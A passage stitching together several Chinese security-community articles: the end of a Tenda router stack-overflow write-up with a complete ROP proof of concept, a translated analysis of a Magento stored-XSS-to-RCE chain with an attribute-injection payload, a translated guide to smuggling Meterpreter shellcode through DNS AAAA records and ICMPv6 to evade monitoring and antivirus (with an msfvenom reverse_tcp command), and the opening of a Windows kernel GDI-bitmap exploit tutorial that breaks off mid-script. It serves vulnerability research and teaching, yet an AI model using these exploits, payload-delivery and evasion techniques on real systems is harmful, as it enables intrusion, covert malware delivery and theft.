在函数中没有找到url路径相关的信息，翻了下固件文件系统，发现了`webroot_ro/goform/setMacFilterCfg.txt`文件。
通过gdb下断点确定访问“/goform/setMacFilterCfg”时会进入formSetMacfiltercfg函数。
（4）sub_C14DC <\- formSetMacfiltercfg
如上图，需要让v41=0，而v41来自于sub_C10D0函数对macFilterType的参数的处理。
我们进入sub_C10D0函数看看macFilterType需要如何设置，反编译后代码逻辑还是很清晰的，只需要v3等于“black”或“white”即可返回0，如下图所示。
进入目标分支后，再从deviceList获取传入v39变量，根据上一节的分析该值将被用作strcpy的参数。
data = {"macFilterType": "white", "deviceList": payload}
（5）sub_C17A0 <\- sub_C14DC
有分支判断，但条件已满足。
（6）sub_C24C0 <\- sub_C17A0
有分支判断，但条件已满足。
（7）sub_C24C0
如下图所示，检测deviceList内容是否包含’r’，随后进入分支执行漏洞代码。
### 3.4 溢出触发测试
根据上一节的分析，我们整理处HTTP POST的请求内容。
import requests
url = "http://192.168.2.111/goform/setMacFilterCfg"
cookie = {"Cookie":"password=12345"}
data = {"macFilterType": "white", "deviceList": "r"+ "A"*500}
发送后，gdb得到预想中的报错信息，返回地址被覆盖。
## 4.漏洞利用
（1）寻找偏移量
利用cyclic找到偏移量
这里记得检查下CPSR寄存器的T位，因为栈上内容弹出到PC寄存器时，其最低有效位（LSB）将被写入CPSR寄存器的T位，而PC本身的LSB被设置为0。如果T位值为1，需要在地址上加一还原。
（2）确定利用方案
使用checksec检查二进制文件的保护措施，开启了NX保护，选择用ROP绕过。
（3）构造ROP Chain
获取libc.so基地址。
获取system函数偏移量。
寻找gadets。
ROPgadget --binary ./lib/libc.so.0 | grep "mov r0, sp"
0x00040cb8 : mov r0, sp ; blx r3
ROPgadget --binary ./lib/libc.so.0 --only "pop"| grep r3
0x00018298 : pop {r3, pc}
最终，payload结构为[offset, gadget1, system_addr, gadget2, cmd] ，完整的POC如下：
import requests
from pwn import *
cmd="echo hello"
libc_base = 0xff58c000
system_offset = 0x5a270
gadget1_offset = 0x18298
gadget2_offset = 0x40cb8
system_addr = libc_base + system_offset
gadget1 = libc_base + gadget1_offset
gadget2 = libc_base + gadget2_offset
payload = "A"*176 + p32(gadget1) + p32(system_addr) + p32(gadget2) + cmd
url = "http://192.168.2.111/goform/setMacFilterCfg"
cookie = {"Cookie":"password=12345"}
data = {"macFilterType": "white", "deviceList": "r"+payload}
requests.post(url, cookies=cookie, data=data)
查看程序的打印信息，cmd中的echo指令已经被执行。
PS：中间有些细节省略掉了，只给出了关键步奏。可以参考之前写的文章《写给初学者的实战教程之ARM栈溢出》，分析的是同一款路由器的其他漏洞。
## 参考
<https://github.com/ZIllR0/Routers/blob/master/Tenda/stack1.md>
<https://www.anquanke.com/vul/id/1375399> | 社区文章 |
# Magento 2.3.1：从未授权存储型XSS到RCE
|
##### 译文声明
本文是翻译文章，文章原作者 ripstech，文章来源：blog.ripstech.com
原文地址：<https://blog.ripstech.com/2019/magento-rce-via-xss/>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
本文介绍了如何在非常流行的电子商务（eCommerce）解决方案Magento中（版本<=2.3.1），利用HTML过滤漏洞以及Phar反序列化漏洞构造较为严重的漏洞利用链。未授权攻击者可以滥用这条漏洞利用链来完全控制特定的Magento平台，重定向用户的付款过程。
## 0x01 漏洞影响
成功利用漏洞后，未授权攻击者可以将一个JavaScript payload永久性植入Magento平台的管理后端。这个JavaScript
payload在触发时，可以以受害者身份在浏览器中自动化执行漏洞利用步骤。我们在[这个视频](https://blog.ripstech.com/videos/magento-unauthenticated-stored-xss.mp4)中演示了基于JavaScript RIPS shell的攻击过程。
当Magento平台的某个员工登录管理页面时，被注入的JavaScript
payload就会运行，劫持该员工的管理员会话。随后攻击者可以利用未授权RCE（远程代码执行）漏洞，完全控制整个平台。攻击者可以对运行该平台的企业造成经济损失。比如，攻击者可以将所有付款操作重定向至自己的银行账户，或者直接窃取信用卡信息。
如果Magento平台使用的是内置的Authorize.Net支付模块（这是允许使用信用卡支付的一种Visa解决方案），那么就受该漏洞影响。需要注意的是，Authorize.Net本身并不存在漏洞，漏洞存在于Magento的自身实现中。由于Authorize.Net是比较流行的一种信用卡支付处理服务，因此这条漏洞利用链会影响许多Magento平台。鉴于探测目标平台是否使用Authorize.Net模块是非常简单的一个任务，并且可以自动化实现，因此攻击者可能大规模利用该漏洞。
由于攻击者不需要了解目标平台任何背景信息，也不需要访问Magento平台，不需要使用社会工程学技巧，因此我们将这个漏洞利用链的严重等级标记为高（high）。考虑到所有Magento平台每年的交易额超过1550亿美元，攻击者有充足的动机实施行动。
## 0x02 受影响版本
该漏洞能够影响启用Authorize.Net模块并且版本在一定范围内的所有Magento平台，具体受影响版本如下：
分支 | 漏洞修复版本 | 存在漏洞版本
---|---|---
2.3 | 2.3.2 | <= 2.3.1
2.2 | 2.2.9 | <= 2.2.8
2.1 | 2.1.18 | <= 2.1.17
## 0x03 技术分析
在下文中，我们来分析能够组合使用的两个不同的安全漏洞。由于这些问题比较严重，我们特意忽略了某些漏洞利用细节。
### 未授权存储型XSS
针对不同场景，Magento提供了多种数据清理过滤方法。这里我们详细分析下如何绕过escapeHtmlWithLinks()过滤方法，以及如何在取消新产品订单的注记（note）中利用这种绕过方法实现未授权存储型XSS漏洞。
在讨论这个方法前，我们先来了解一下Magento的数据清理原理以及主要的清理方法：escapeHTML()。
vendor/magento/framework/Escaper.php：
/**
* Escape string for HTML context.
*
* AllowedTags will not be escaped, except the following: script, img, embed,
* iframe, video, source, object, audio
*
* @param string|array $data
* @param array|null $allowedTags
* @return string|array
*/
public function escapeHtml($data, $allowedTags = null)
需要知道的是，escapeHTML()会解析用户的输入（$data），删除没有在第二个参数中（$allowedTags）指定的所有HTML标签。如果没有设置第二个参数，那么就会简单转义处理整个用户输入字符串。该方法还支持在允许的标签中设置若干个HTML属性，包括id、class、href、style以及其他属性。
我们无法绕过escapeHTML()，因此我们搜索能够处理被escapeHTML()过滤后的用户数据的代码，因为对清理过的数据再次修改可能会出现一些问题。我们找到了一个方法：escapeHtmlWithLinks()。在下文中我们会解释该方法的工作原理、其中存在的一个逻辑缺陷以及如何利用该缺陷触发XSS漏洞。
escapeHtmlWithLinks()的目的是在用户输入字符串中，删除除白名单标签之外的所有HTML标签。与escapeHTML()不同的是，这个函数还会删除用户输入字符串<a>标签中除href属性之外的所有属性，以确保链接更加安全。
如下代码片段所示，escapeHtmlWithLinks()会在函数开头处将用户输入字符串中的所有<a>标签解析到一个数组中（$matches）。
vendor/magento/module-sales/Helper/Admin.php：
public function escapeHtmlWithLinks($data, $allowedTags = null)
{
⋮
$data = str_replace(‘%’, ‘%%’, $data);
$regexp = “#(?J)<a”
.”(?:(?:\s+(?:(?:href\s*=\s*([‘\”])(?<link>.*?)\\\1\s*)|(?:\S+\s*=\s*([‘\”])(.*?)\\\3)\s*)*)|>)”
.”>?(?:(?:(?<text>.*?)(?:<\/a\s*>?|(?=<\w))|(?<text>.*)))#si”;
while (preg_match($regexp, $data, $matches)) {
⋮
下一步是清理href属性中包含的链接以及URL文本，代码会重新创建一个简约标签（如下代码片段164-169行所示）来完成该操作。
清理后的链接会存储到$links数组中，以便后续使用。escapeHtmlWithLinks()随后会替换刚被清理的原始<a>标签，将其替换为用户输入字符串中的%$is，这里$i就是被替换的<a>标签的编号。
⋮
while (preg_match($regexp, $data, $matches)) {
$text = ”;
if (!empty($matches[‘text’])) {
$text = str_replace(‘%%’, ‘%’, $matches[‘text’]);
}
$url = $this->filterUrl($matches[‘link’] ?? ”);
//Recreate a minimalistic secure a tag
$links[] = sprintf( // line 164
‘<a href=”%s”>%s</a>’,
htmlspecialchars($url, ENT_QUOTES, ‘UTF-8’, false),
$this->escaper->escapeHtml($text)
);
$data = str_replace($matches[0], ‘%’ . $i . ‘$s’, $data); // line 169
++$i;
}
为了让大家有个直观的理解，这里我们举个例子，以如下用户输入数据为例：
<i>Hello, <a href=”/the-world/” title=”Hello World”>World!</a></i>
这个输入会被转换成：
<i>Hello, %1s</i>
当escapeHtmlWithLinks()将用户输入字符串中的所有<a>标签替换为对应的%s后，会将结果传递给escapeHTML()。这可以安全清理用户输入字符串（如下代码片段172行），但在下一行代码中，函数通过vsprintf()将已清理的链接插回到现在已清理过的字符串中。这正是存在XSS漏洞的代码位置，接下来我们分析这个XSS漏洞的工作原理。
⋮
} // End of while
$data = $this->escaper->escapeHtml($data, $allowedTags); // line 172
return vsprintf($data, $links);
这里简单将已清理过的链接插入已被转义的用户输入字符串会存在一个问题，因为escapeHtmlWithLinks()并没有考虑到字符串中<a>标签的具体位置。我们可以通过如下表格演示这种操作如何导致HTML属性注入问题：
步骤 | 用户输入字符串
---|---
解析用户输入字符串中的<a>标签 | <i id=” <a href=’http://onmouseover=alert(/XSS/)’>a
link</a> “><br/> a malicious link<br/></i>
将<a>标签替换为%s | <i id=” %1s “> a malicious link </i>
删除用户输入字符串中不需要的标签 | <i id=” %1s “> a malicious link </i>
将清理后的<a>标签插回清理后的字符串 | <i id=” <a href=”http://onmouseover=alert(/XSS/)>”>a
link</a> “><br/> a malicious link<br/></i>
如上表所示，<a>标签会被替换为%1s，用户输入字符串会被清理。由于%1s并不是一个危险值，因此会通过清理检查过程。当escapeHtmlWithLinks()将清理后的链接使用vsprintf()重新插回时，会将双引号符注入<i>标签中，因此就出现属性注入问题。
通过这种方式，攻击者可以将任意HTML属性注入结果字符串中。攻击者可以注入恶意onmouseover事件处理程序以及适当的style属性，使恶意链接在整个页面上不可见，当受害者访问包含这种XSS
payload的页面并移动鼠标时，就会触发XSS攻击。
当用户使用Authorize.Net开始处理订单，但随后取消订单时，Magento会使用escapeHtmlWithLinks()方法来清理这个过程创建的订单取消注记（note）。攻击者可以滥用上文描述的绕过方法，将任意JavaScript注入刚取消订单的概览页面。当平台员工查看已取消的订单时，就会触发XSS
payload。
### Phar反序列化
一旦攻击者劫持通过身份认证的用户会话，就可以滥用一个Phar反序列化漏洞，该漏洞存在于WYSIWYG编辑器中负责渲染图像的控制器中。如下代码片段所示，其中POST参数__directive会被传递给图像适配器类的open()方法。该方法在内部实现中会将用户输入传递给getimagesize()函数，而该函数存在Phar反序列化漏洞（大家可参考我们的[这篇文章](https://blog.ripstech.com/2018/new-php-exploitation-technique/)了解更多信息）。
vendor/magento/module-cms/Controller/Adminhtml/Wysiwyg/Directive.php：
public function execute()
{
$directive = $this->getRequest()->getParam(‘___directive’);
$directive = $this->urlDecoder->decode($directive);
⋮
$image =
$this->_objectManager->get(\Magento\Framework\Image\AdapterFactory::class)->create();
try {
$image->open($imagePath);
⋮
攻击者可以将一个phar://流封装器注入图像文件处理函数中，触发PHP对象注入，然后可以从Magento核心中构造POP
gadget链，最终实现远程代码执行。
## 0x04 时间线
日期 | 进展
---|---
2018/09/25 | 我们报告Magento 2.2.6中存在存储型XSS漏洞
2018/11/28 | Magento在2.2.7以及2.1.16中修复了存储型XSS漏洞
2018/12/13 | 我们提交绕过Magento 2.3.0补丁的方法
2019/01/11 | 我们向Magento安全团队提交Phar反序列化漏洞报告
2019/01/26 | 我们发现在特定配置的Magento平台上，未授权攻击者可以触发存储型XSS漏洞，向Magento反馈相关情况
2019/01/29 | Magento验证漏洞存在
2019/03/26 | Magento发布安全更新，在Magento
2.3.1、2.2.8以及2.1.17中修复Phar反序列化漏洞。官方没有在改动日志中提到存储型XSS漏洞，也没有发布补丁。
2019/04/09 | Magento将存储型XSS漏洞案例标记为“已解决”状态
2019/04/09 |
我们询问Magento是否该问题已解决，因为没有在改动日志中发现相关信息，并且escapeHTMLWithLinks()方法也没有做任何改动。
2019/04/10 | Magento重新激活漏洞案例
2019/06/25 | 官方为2.3.2、2.2.9以及2.1.18版推出安全补丁
## 0x05 总结
本文详细介绍了如何将未授权存储型XSS漏洞与Phar反序列化漏洞结合起来，大规模劫持Magento平台。在现在环境中，想成功利用某些安全缺陷往往需要依赖于产品在多重数据清理、代码逻辑以及环境配置上的缺陷。我们强烈建议所有用户更新到最新版Magento。
## 0x06 参考资料
* [MyBB <= 1.8.20: From Stored XSS to RCE](https://blog.ripstech.com/2019/mybb-stored-xss-to-rce/)
* [WordPress 5.1 CSRF to Remote Code Execution](https://blog.ripstech.com/2019/wordpress-csrf-to-rce/)
* [osClass 3.6.1: Remote Code Execution via Image File](https://blog.ripstech.com/2016/osclass-remote-code-execution-via-image-file/)
* [WordPress 5.0.0 Remote Code Execution](https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/)
* [WordPress Design Flaw Leads to WooCommerce RCE](https://blog.ripstech.com/2018/wordpress-design-flaw-leads-to-woocommerce-rce/) | 社区文章 |
# 【技术分享】利用DNS AAAA记录和IPv6地址传输后门
|
##### 译文声明
本文是翻译文章，文章来源：peerlyst.com
原文地址：<https://www.peerlyst.com/posts/transferring-backdoor-payloads-by-dns-aaaa-records-and-ipv6-address-damon-mohammadbagher>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[myswsun](http://bobao.360.cn/member/contribute?uid=2775084127)
预估稿费：260RMB（不服你也来投稿啊！）
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**
**
**
**
**0x00 前言**
在本文中，我想解释如何在DNS流量中利用IPv6地址（AAAA）记录传输Payload。在我之前的[文章](https://www.peerlyst.com/posts/bypassing-anti-viruses-with-transfer-backdoor-payloads-by-dns-traffic-damon-mohammadbagher)中，我解释了如何利用DNS和PTR记录，现在我们将讨论AAAA记录。
本文分为两部分:
**第一部分** ：DNS AAAA记录和ICMPv6
**第二部分** ：DNS和AAAA记录（大的DNS AAAA记录响应）
**0x01 DNS AAAA记录和ICMPv6**
IPv6地址对于传输Payload非常有用，让我解释下如何完成这个例子。
举个例子，我们有一个IPv6地址如下：
fe80:1111:0034:abcd:ef00:ab11:ccf1:0000
这个例子中，我们能将xxxx部分用于我们的Payload。
fe80:1111:xxxx:xxxx:xxxx:xxxx:xxxx:wxyz
我认为我们有两种方式将IPv6地址用于我们的Payload，第一个是我们使用DNS和AAAA记录，第二个是使用这些IPv6地址和DNS
AAAA记录，也是Ping6的ICMPv6流量。
ICMPv6和Ping6：这个例子中，你能通过虚假的IPv6和注入的Payload来改变攻击者的IPv6地址，然后从后门系统中，你能通过循环Ping6得到这些IPv6地址（ICMPv6流量）。
因此我们有下面这些东西：
（后门系统）ip地址 = {192.168.1.120}
（攻击者系统）ip地址 = {192.168.1.111
,fe80:1111:0034:abcd:ef00:ab11:ccf1:0000}
(攻击者系统)DNS名 = test.domain.com，和安装的DNS服务{dnsmasq或dnsspoof}
DNS AAAA记录和ICMPv6步骤：
步骤1：（攻击者DNS服务器）record0=>
fe80:1111:0034:abcd:ef00:ab11:ccf1:0000 AAAA test.domain.com
步骤2：（后门系统）==>nslookup test.server.com 192.168.1.111
步骤3：（后门系统）循环Ping6=>（攻击者系统fe80:1111:0034:abcd:ef00:ab11:ccf1:0000）
步骤4：（后门系统）通过Ping6响应在IPv6地址中转储出注入的Payload，转储这些部分｛0034:abcd:ef00:ab11:ccf1｝
步骤5：（攻击者DNS服务器）record0改为新的test.domain.com
步骤6：（攻击者DNS服务器）record0=>
fe80:1111:cf89:abff:000e:09b1:33b1:0001 AAAA test.domain.com
步骤6-1：（攻击者系统）通过ifconfig添加或改变NIC
IPv6地址{新的IPv6地址：fe80:1111:cf89:abff:000e:09b1:33b1:0001}
步骤6-2：关于步骤3的ping6的响应=超时或不可达（错误），这个时间是获取新的IPv6地址的标志，或者你的流量被某些东西检测到并阻止了。
步骤7：（后门系统）=>nslookup test.server.com 192.168.1.111
步骤8：（后门系统）循环Ping6
test.domain.com=>{新的IPv6地址fe80:1111:cf89:abff:000e:09b1:33b1:0001}
步骤9：（后门系统）通过IPv6的响应，从新的IPv6地址中转储出注入的Payload，转储这些部分｛cf89:abff:000e:09b1:33b1｝
注1：我们何时能知道IPv6地址改变了？当来自攻击者系统的ping6响应是超时或者不可达。你也可以通过nslookup检查。
注2：也可以使用多个IPv6地址为攻击者的NIC，这种情况下不需要步骤6-1。但是这样你不能使用注1。因此这种情况下你应该使用定时器或者循环通过nslookup或类似的工具得到来自攻击者系统的新的IPv6地址。意思是，从后门系统，你能逐行得到攻击者系统的IPv6地址和DNS
Round-robin特征以及分组IPv6 DNS域名。
在这些步骤之后，你能通过DNS和ICMPv6流量得到20字节的Payload：
Payload0=fe80:1111:0034:abcd:ef00:ab11:ccf1:0000==>0034:abcd:ef00:ab11:ccf1
Payload1=fe80:1111:cf89:abff:000e:09b1:33b1:0001==>cf89:abff:000e:09b1:33b1
因此我们在两次Ping6之后得到这个Payload：
Reponse：0034abcdef00ab11ccf1cf89abff000e09b133b1
但是在这个技术中，你只能通过DNS流量做到这个，意味着你能移除所有的Ping6步骤。因此，如果你想不使用Ping6和ICMPv6流量就做到这个，你只需要步骤2和7，通过DNS响应从DNS服务器转储payload。但是我们将在第二部分中讨论讨论这个：（DNS和AAAA记录）
让我们展示一些关于ICMPv6方法的图片，没有代码和工具。
我将来可能会发布C#代码，并且也和这个文章一步一步介绍，但是我想展示关于DNS AAAA + ICMPv6技术的所有图片。
图A
在图A中，你能看到对于test.domain.com，我们有8个的AAAA记录，你也能看到这个IPv6地址的Ping响应，在这个技术中的DNS和ICMPv6，你能通过1或2下载DNS域名，然后如果你想使用ICMPv6，你能Ping6这些IPv6地址。
图A中，我们有8个AAAA记录，因此我们有8*10字节=80字节
Meterpreter payload!
fe80:1111:fc48:83e4:f0e8:cc00:0000:ae0 test.domain.com
fe80:1111:4151:4150:5251:5648:31d2:ae1 test.domain.com
fe80:1111:6548:8b52:6048:8b52:1848:ae2 test.domain.com
fe80:1111:8b52:2048:8b72:5048:0fb7:ae3 test.domain.com
fe80:1111:4a4a:4d31:c948:31c0:ac3c:ae4 test.domain.com
fe80:1111:617c:022c:2041:c1c9:0d41:ae5 test.domain.com
fe80:1111:01c1:e2ed:5241:5148:8b52:ae6 test.domain.com
fe80:1111:208b:423c:4801:d066:8178:ae7 test.domain.com
PAYLOAD0= fc4883e4f0e8cc000000 and Counter = ae0
PAYLOAD1= 415141505251564831d2 and Counter = ae1
因此我们得到payload=
fc4883e4f0e8cc000000415141505251564831d2
为什么Ping，我们何时通过DNS请求得到payload？
如果你想使用DNS请求，如DNS循环请求或者通过AAAA记录有大的响应的DNS请求，那么这对于·DNS监控工具检测是一种特征。因此如果在每个DNS响应之后对于AAAA记录你有1或2个ping6，那么我认为它是正常的流量，并且能通过DNS监控设备或者DNS监控工具检测的风险很小。
例如你能通过1或2或3个AAAA记录使用一个响应一个请求。意思是如果响应有4个AAAA记录，或者超过4个AAAA记录，那么可能有网络监控设备或工具将检测你的流量，但是在这些网络限制方面，SOC/NOC的家伙比我更有发言权。
正如你能在图A中我的test.domain.com请求在响应中有8个AAAA记录。
因此这种情况，我们应该在IPv6地址中将你的payload分组，DNS名也是一样。
让我解释一些ICMPv6的东西，如果你想通过IPv6地址ping一个系统，首先你应该得到那个系统的IPv6地址，因此你需要DNS请求，总是很重要的点是对于你要转储的所有IPv6地址和从IPv6地址中转储注入的Meterpreter
Payload，你需要多少DNS请求？
一个请求？
如果你想通过一个请求和一个响应得到所有的IPv6地址，那么你将在一个DNS响应中包含大量的AAAA记录，因此被检测的风险很高。
看图A1：
图A1
并且在图A2，你能看见2个请求的长度，第一个是小响应，第二个是大响应。
图A2-如你所见，我们有两个DNS AAAA响应，第一个长度132（小响应）和第二个长度1503（大响应）
在本文中，我将通过类似图A2中的DNS
AAAA记录转储所有的IPv6地址来解释一个请求和一个响应，但是在这种情况下我们知道DNS+ICMPv6也是有被检测的风险的，如在图A2
所见，我们的第二个响应长度很长，将导致被检测的风险。
两个请求或者更多？
如你在图B所见，我的payload在3个DNS名中｛test0.domian.com,test1.domain.com,test2.domain.com｝.
并且我一次ping6一个IPv6地址，且得到了100%的ping回应。
因此在这个例子中，每个响应中我们有包含两个AAAA记录的3个请求和3个响应，在每个DNSAAAA响应之后我们还有ICMPv6流量，最后我们也有一个小长度的DNS响应。
图B
**注意：我的Linux系统有多个IPv6地址，Ping6回复在图C中。**
你能通过ifconfig或者多个IPv6赋给NIC来完成步骤6-1，如图C。
图C
并且，图C1中是我们的DNS查询：
图C1
现在你能在图D中看到另一个请求和响应分组的例子。
图D
如图E所见，对于DNS请求和响应，我们的DNS服务器记录。
图E
无论如何，图中所见的这种方法技术上是可行的，将来我将完成C#代码。
**
**
**0x02 DNS和AAAA记录（大的DNS AAAA记录响应）**
现在，本文中我想讨论DNS和AAAA记录，并讨论如何通过从假的DNS服务器到后门系统的一个DNS请求和DNS响应得到这些payload。因此我们讨论大的AAAA响应，意味着在一个DNS响应之后，你能通过一个DNS
AAAA响应，在后门系统上得到所有的payload和Meterpreter会话。
通过NativePayload_IP6DNS工具，使用DNS AAAA记录传输后门payload的步骤：
步骤1：使用hosts文件伪造假的DNS服务器。
这种情况下，对于攻击者系统，我想使用dnsmasq工具和dnsmasq.hosts文件。
在我们伪造文件之前，你需要payload，因此能通过下面的命令得到payload：
Msfvenom–arch x86_64 –platform windows -pwindows/x64/meterpreter/reverse_tcp
lhost 192.168.1.50 -f c >/payload.txt
注意：这个例子中的192.168.1.50是攻击者的虚假的dns服务器，和攻击者的Metasploit Listener。
现在你应该通过这个payload字符串伪造hosts文件，如图1，你能使用下面的语法伪造：
语法1: NativePayload_IP6DNS.exe null 0034abcdef00ab11ccf1cf89abff000e09b133b1…
图1
现在拷贝这些IPv6地址到DNS hosts文件中，如图2，并且你需要在每行IPv6地址后面写入DNS域名。
图2
这个例子中，我想使用工具dnsmasq作为DNS服务器，因此你能编辑/etc/hosts文件或者/etc/dnsmasq.hosts。
它依赖你的dnsmasq工具的配置。
因此，如图3，你能使用如下命令启动DNS服务器。
图3.
在启动DNS服务器后，你的dnsmasq应该会从hosts文件中至少读取51个地址。
最后用下面的语法，通过一个DNS IPv6 AAAA记录响应，你将得到Meterpreter会话（如图A2中的大的响应，第二个DNS响应，长度为1503）
语法: NativePayload_IP6DNS.exe “FQDN” “Fake DNS Server”
语法: NativePayload_IP6DNS.exe test.domain.com 192.168.1.50
图4
总而言之，DNS流量的PTR记录和IPv6 AAAA记录对于传输payload并绕过网络监控或者类似的东西非常有用，并且这些技术也能绕过反病毒软件。
NativePayload_IP6DNS.exe的C#源代码：（DNS AAAA记录）
[https://github.com/DamonMohammadbagher/NativePayload_IP6DNS](https://github.com/DamonMohammadbagher/NativePayload_IP6DNS)
NativePayload_DNS.exe tool的C#源代码：（DNS PTR记录）
[https://github.com/DamonMohammadbagher/NativePayload_DNS](https://github.com/DamonMohammadbagher/NativePayload_DNS) | 社区文章 |
# Windows特权提升：GDI Bitmap滥用
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x001 前言
HackSys Extreme Vulnerable Driver是HackSys Team开发的一个Windows Kernel
Exploition训练项目，从2016年开始已经开源在了Github上。整个项目编译好了以后只有一个.sys的驱动文件，通过IrpDeviceIoCtlHandler接收到的从用户态送来的特定命令，选择触发相对应的trigger
method。各个题目的漏洞点比较明确，很适合作为Windows Kernel Exploitation的入门,
Fuzzysecurity上也有一部分题目的分析，无奈是PowerShell版本的，不怎么熟悉，重新用Python实现了一遍。
## 0x002 调试环境
虚拟机：Windows 10 x64 1511 Feb 2016
主机：Windows 10 x64 1709 Dec 2017
必要工具：
1.VirtualKD[[here]](http://virtualkd.sysprogs.org/)
2.OSRloader[[here]](https://www.osronline.com/article.cfm?article=157)
3.HackSysExtremeVulnerableDriver[[here]](https://github.com/hacksysteam/HackSysExtremeVulnerableDriver)
4.Windbg
5.Vmware
PS：具体的环境搭建、驱动编译、装载就不多讲了，网上应该不少，Fuzzysecurity上也有详细过程。
## 0x003 Proof of concept
本文，我们学习“GDI Bitmap滥用”，需要利用Arbitrary Write这个洞，用IDA打开驱动文件
很明显，漏洞成因就是把What指向的内容往Where指向地址里写8个byte。
先确保我们能够进到这个trigger method
import sys
from ctypes import *
kernel32 = windll.kernel32
hevDevice = kernel32.CreateFileA("\\.\HackSysExtremeVulnerableDriver",0xc0000000,0,None,0x3,0,None)
if not hevDevice or hevDevice == -1:
print "[-] Couldn't get Device Driver handle."
sys.exit(0)
buf = "A"*8 + "B"*8
buflen = len(buf)
kernel32.DeviceIoControl(hevDevice,0x22200B,buf,buflen,None,0,byref(c_ulong()),None)
得到这样的反馈就是没问题了
****** HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE ******
[+] UserWriteWhatWhere: 0x0000000002090E18
[+] WRITE_WHAT_WHERE Size: 0x10
[+] UserWriteWhatWhere->What: 0x4141414141414141
[+] UserWriteWhatWhere->Where: 0x4242424242424242
[+] Triggering Arbitrary Overwrite
[-] Exception Code: 0xC0000005
****** HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE ******
## 0x004 How to Exploit it?
学过GDI编程的应该对CreateBitmap这个API不陌生了，具体传入参数如下
HBITMAP CreateBitmap（
_In_ int nWidth，
_In_ int nHeight，
_In_ UINT cPlanes，
_In_ UINT cBitsPerPel，
_In_ const VOID * lpvBits
);
执行这个脚本，内核会挂起来，然后Windbg附加上去
import sys,time
from ctypes import *
kernel32 = windll.kernel32
gdi32 = windll.gdi32
hevDevice = kernel32.CreateFileA("\\.\HackSysExtremeVulnerableDriver",0xc0000000,0,None,0x3,0,None)
if not hevDevice or hevDevice == -1:
print "[-] Couldn't get Device Driver handle."
sys.exit(0)
bmp = gdi32.CreateBitmap(0x64,0x64,1,32)
print "[+] Bitmap objects Addr: {0}".format(hex(bmp))
kernel32.DebugBreak()
kernel32.DebugBreak()
while True:
time.sleep(60*60*24)
执行”g”命令，能看到Bitmap返回的句柄被打印出来了
C:Userswooy0ung>python C:Userswooy0ungDesktoppoc.py
[+] Bitmap objects Addr: 0x20050b46
接下来，需要找到GdiSharedHandleTable这个表
kd> !process 0 0 python.exe
PROCESS ffffe00058481840
SessionId: 1 Cid: 0584 Peb: 002ad000 ParentCid: 02f8
DirBase: 42277000 ObjectTable: ffffc000e4cf6ac0 HandleCount: <Data Not Accessible>
Image: python.exe
kd> .process ffffe00058481840
Implicit process is now ffffe000`58481840
WARNING: .cache forcedecodeuser is not enabled
kd> .context
User-mode page directory base is 42277000
kd> r $peb
$peb=00000000002ad000
kd> dt nt!_PEB 00000000002ad000 GdiSharedHandleTable
+0x0f8 GdiSharedHandleTable : 0x00000000`00b90000 Void
GdiSharedHandleTable这个表存放着指向每个Bitmap对应的GDICELL64结构的指针，通过计算获得，ptr =
GdiSharedHandleTable + (handle & 0xffff) *
(x64:0x18,x86:0x10)，handle是CreateBitmap返回的句柄
kd> dt nt!_PEB 00000000002ad000 GdiSharedHandleTable
+0x0f8 GdiSharedHandleTable : 0x00000000`00b90000 Void
kd> dq 0x00000000`00b90000 + (0x6105104c & 0xffff)*0x18 L3
00000000`00ba8720 fffff901`44895000 40056105`00000584
00000000`00ba8730 00000000`00000000
那么，0xfffff90144895000便是我们刚刚创建的Bitmap的内核地址，而0x584表示当前进程PID(1412)
可以通过ProcessHacker验证
创建了一个Bitmap Object，同时间SURFACE
OBJECT(包括BASEOBJECT、SURFOBJECT和pvScan0)也会被创建，其中pvScan0会指向当前SURFACE
OBJECT的像素数据结构
typedef struct {
BASEOBJECT64 BaseObject;
SURFOBJ64 SurfObj;
.......
} SURFACE64
typedef struct {
ULONG64 hHmgr;
ULONG32 ulShareCount;
WORD cExclusiveLock;
WORD BaseFlags;
ULONG64 Tid;
} BASEOBJECT64;
typedef struct {
ULONG64 dhsurf;
ULONG64 hsurf;
ULONG64 dhpdev;
ULONG64 hdev;
SIZEL sizlBitmap;
ULONG64 cjBits;
ULONG64 pvBits;
ULONG64 pvScan0;
ULONG32 lDelta;
ULONG32 iUniq;
ULONG32 iBitmapFormat;
USHORT iType;
USHORT fjBitmap;
} SURFOBJ64
现在创建两个Bitmap
Object(hManager和hWorker)，将hManager的pvScan0指针指向hWorker的pvScan0指针的存放地址，可以通过Arbitraty
Write实现
因此，利用API SetBitmapBits hManager可以任意设置hWorker的pvScan0指针指向地址，而hWorker通过API
SetBitmapBits与GetBitmapBits对内核地址任意读写。
## 0x005 Exploit it!
现在我们来讨论一下脚本该怎么写，首先，获取GdiSharedHandleTable的地址。
pbi = PROCESS_BASIC_INFORMATION()
ntdll.NtQueryInformationProcess.argtypes = (HANDLE, UINT, c_void_p, ULONG, POINTER(ULONG))
ntdll.NtQueryInformationProcess(kernel32.GetCurrentProcess(), 0, byref(pbi), sizeof(pbi), None)
peb = pbi.PebBaseAddress.contents
gdiHandleTable = peb.GdiSharedHandleTable
print "[+] GdiSharedHandleTable : {0}".format(hex(gdiHandleTable))
因为微软没有把NtQuerySystemInformation这个API导出到ntdll，导致一些数据结构在Python上找不到，不能简单的“from
ctypes.wintypes import *”
需要声明PEB、PROCESS_BASIC_INFORMATION和SYSTEM_MODULE_INFORMATION这几个结构
class PEB(Structure):
_fields_ = [("Junk", c_byte * 0xF8),
("GdiSharedHandleTable", c_void_p)]
class PROCESS_BASIC_INFORMATION(Structure):
_fields_ = [("Reserved1", LPVOID),
("PebBaseAddress", POINTER(PEB)),
("Reserved2", LPVOID * 2),
("UniqueProcessId", c_void_p),
("Reserved3", LPVOID)]
class SYSTEM_MODULE_INFORMATION(Structure):
_fields_ = [("Reserved", c_void_p * 2),
("ImageBase", c_void_p),
("ImageSize", c_long),
("Flags", c_ulong),
("LoadOrderIndex", c_ushort),
("InitOrderIndex", c_ushort),
("LoadCount", c_ushort),
("ModuleNameOffset", c_ushort),
("FullPathName", c_char * 256)]
查询得到GdiSharedHandleTable地址以后就是创建hManager与hWorker，并得到它们的pvscan0指针地址，利用Arbitrary
Write写入指针
